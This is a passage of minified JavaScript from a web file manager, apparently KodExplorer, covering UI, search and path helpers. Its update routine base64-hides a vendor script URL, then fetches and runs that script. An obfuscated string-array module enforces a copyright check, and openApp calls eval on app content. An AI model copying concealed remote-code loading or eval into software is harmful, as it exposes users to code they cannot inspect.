    ';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},i=!!window.ActiveXObject||"ActiveXObject"in window,t="chrome";i&&(t="ie"),core.filetypes.music=e[t].music,core.filetypes.movie=e[t].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));e=i.is("input")||i.is("textarea")?i.val():i.html()}return e=e?e:"",e.replace(/\n/g,"
    ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,i){if(i=void 0==i?"":i,"string"==$.type(e)){var t=trim(trim(e),"/");if(e={},"{"!=t.substring(0,1)||t.split("/").length>1)return{icon:"",name:""};e.path_type=t.match(/\{.*\}/),e.id=t.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:i}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=i),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var i=e.match(/\{.*\}/),t=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(i[0],t)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var i=e.match(/\{.*\}/);return i[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(i){}var i=e||window.event;return i?i&&$(i.target).is("textarea")||$(i.target).is("input")||$(i.target).is("p")||$(i.target).is("pre")||0!=$(i.target).parents(".can_right_menu").length||0!=$(i.target).parents(".topbar").length||0!=$(i.target).parents(".edit_body").length||0!=$(i.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/"),a=i.substr(t+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var i=e.replace(/\\/g,"/");return i=i.replace(/\/+/g,"/"),i=i.replace(/\.+\//g,"/")},pathFather:function(e){var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/");return i.substr(0,t+1)},pathExt:function(e){var i=trim(e,"/");return-1!=i.lastIndexOf("/")&&(i=i.substr(i.lastIndexOf("/")+1)),-1!=i.lastIndexOf(".")?i.substr(i.lastIndexOf(".")+1).toLowerCase():i.toLowerCase()},path2url:function(e,i){if("http"==e.substr(0,4))return e;void 0==i&&(i=!0);var t,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var i=urlEncode(e);return i=i.replace(/%2F/g,"/")};return G.is_root&&i&&a.substring(0,G.web_root.length)==G.web_root?t=G.web_host+n(a.replace(G.web_root,"")):(t=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(t=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),t},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var i;i=G.json_data.filelist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;i=G.json_data.folderlist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,i){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==i&&(i=LNG.no_permission),Tips.tips(i,!1),!1):!0},ajaxError:function(e){var i=e.responseText,t=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
    请联系主机商或网管,检查防火墙配置!"),i='
    '+i+"
    ",t?t.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,i,t){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,i,a){core.ajaxError(e,i,a),"function"==typeof t&&t()},success:function(e){"function"==typeof i&&i(e.data.content,e,n)}})},fileInfo:function(e,i){var t="index.php?explorer/pathInfo";G.share_page!==void 0&&(t="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof i&&i(e)}})},fileLink:function(e,i){var t='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(t,function(e){var t=e.code?e.data.download_path:!1;return t?("function"==typeof i&&i(t),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),i=template.compile(e),t=ShareData.frameTop();t.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:i({LNG:LNG,G:G})}),t.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,i){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var t="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:i,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var i=ShareData.frameTop(),t=i.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return t},openDialog:function(e,i,t,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:t,ico:i,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(i){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,i){void 0==e&&(e=""),void 0==i&&(i=core.pathThis(e));var t="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(t="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(t,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:i,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var i="index.php?/editor&project="+e;G.share_page!==void 0&&(i="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(i)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var i=G.static_path+"style/skin/"+e+".css";i!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),i="kod_diy_style",t=LocalData.getConfig(i);"object"!=typeof t&&"object"==typeof G.user_config.theme_diy&&(t=G.user_config.theme_diy),"object"!=typeof t&&(t={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(i,t)),G.user_config.theme_diy=t;var a="";if("diy"==e&&t){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(t)}$.setStyle(a,i)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),i=e.document.documentElement;i.requestFullscreen?i.requestFullscreen():i.mozRequestFullScreen?i.mozRequestFullScreen():i.webkitRequestFullScreen&&i.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,i,t){var a=UUID();(t===void 0||""==t)&&(t=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
    loading..
    ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var i=ShareData.frameTop();e=i.$("."+a)}if(1==e.length)var t=0,n=e[0],o=setInterval(function(){try{t++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):t>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(i){}},100)},50),o},userSpaceHtml:function(e){var i=e.split("/"),t=parseFloat(i[0]),a=1073741824*parseFloat(i[1]),n=core.fileSize(parseFloat(i[0])),o=core.fileSize(a),s=n+"/",r=100*t/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
    "+"
    "+s+"
    "+"
    "},fileSize:function(e,i){if(void 0==e||""==e)return"";if(void 0==i&&(i=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var t={G:1073741824,M:1048576,K:1024,B:1};for(var a in t)if(e>=t[a])return(e/t[a]).toFixed(i)+a},uploadCheck:function(e,i){return i=void 0==i?!0:i,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(i&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(i&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
  • \n
    \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
    \n
      \n {{each v.search_info as value index}}\n
    • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
    • \n {{/each}}\n
    \n
  • \n {{else}}\n
  • \n
    \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
    \n
  • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
    \n \n
    \n
    \n
    \n
    {{LNG.upload_select}}
    \n \n \n \n
    \n \n
    \n
    \n \n \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    \n
    {{LNG.download_address}}\n
    \n \n \n \n
    \n\n
    \n
    \n
    \n
    \n
    \n
    \n
    \n'),define("app/common/tpl/fileinfo/file_info.html",[],"
    \n {{if download_path}}\n
    \n
    {{LNG.download_address}}:
    \n
    \n \n
    \n \n \n
    \n
    \n
    \n
    \n
    \n {{/if}}\n\n
    \n
    {{LNG.address}}:
    \n
    {{path |window.htmlEncode}}
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n\n {{if file_md5}}\n
    \n
    MD5:
    \n
    {{file_md5}}
    \n
    \n
    \n {{/if}}\n\n {{if image_size}}\n
    \n
    {{LNG.image_size}}:
    \n
    {{image_size.width}} × {{image_size.height}}
    \n
    \n
    \n {{/if}}\n\n
    \n\n {{if ctime}}\n
    \n
    {{LNG.create_time}}
    \n
    {{ctime}}
    \n
    \n
    \n {{/if}}\n\n {{if mtime}}\n
    \n
    {{LNG.modify_time}}
    \n
    {{mtime}}
    \n
    \n
    \n {{/if}}\n\n {{if atime}}\n
    \n
    {{LNG.last_time}}
    \n
    {{atime}}
    \n
    \n
    \n {{/if}}\n \n {{if mode}}\n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n {{/if}}\n
    \n"),define("app/common/tpl/fileinfo/path_info.html",[],"
    \n
    \n
    {{LNG.address}}:
    \n
    {{path |window.htmlEncode}}
    \n
    \n
    \n
    \n
    {{LNG.size}}:
    \n
    {{size_friendly}} ({{size}} Byte)
    \n
    \n
    \n
    \n
    {{LNG.contain}}:
    \n
    {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
    \n
    \n
    \n \n
    \n {{if ctime}}\n
    \n
    {{LNG.create_time}}
    \n
    {{ctime}}
    \n
    \n
    \n {{/if}}\n\n {{if mtime}}\n
    \n
    {{LNG.modify_time}}
    \n
    {{mtime}}
    \n
    \n
    \n {{/if}}\n\n {{if atime}}\n
    \n
    {{LNG.last_time}}
    \n
    {{atime}}
    \n
    \n
    \n {{/if}}\n\n {{if mode}}\n
    \n
    \n
    {{LNG.permission}}:
    \n
    {{mode}}
    \n
    \n
    \n {{if is_root==\"1\"}}\n
    \n
    {{LNG.permission_edit}}:
    \n
    \n
    \n
    \n
    \n {{/if}}\n {{/if}}\n
    \n"),define("app/common/tpl/zipview.html",[],''),define("app/common/core.search",[],function(){return function(e,i){var t,a,n=function(){var n=trim(core.pathClear(i),"/"); +if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(t=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=i,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(i),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var i=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(i,''+i+"");else{var t=e.toLowerCase().indexOf(i.toLowerCase());e=e.substr(0,t)+''+e.substr(t,i.length)+""+e.substr(t+i.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var i=$(this).parent();return i.toggleClass("open"),i.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path")),a=core.pathFather(t);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(t)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));return ui.pathOpen.open(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var i=$(this).parent().parent(),t=pathHashDecode(i.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(t,i.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var i="box_search_config";if(void 0==e){var e=LocalData.getConfig(i);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(tpl_search_list);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&t.html(""+LNG.seach_result_too_more+"")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var 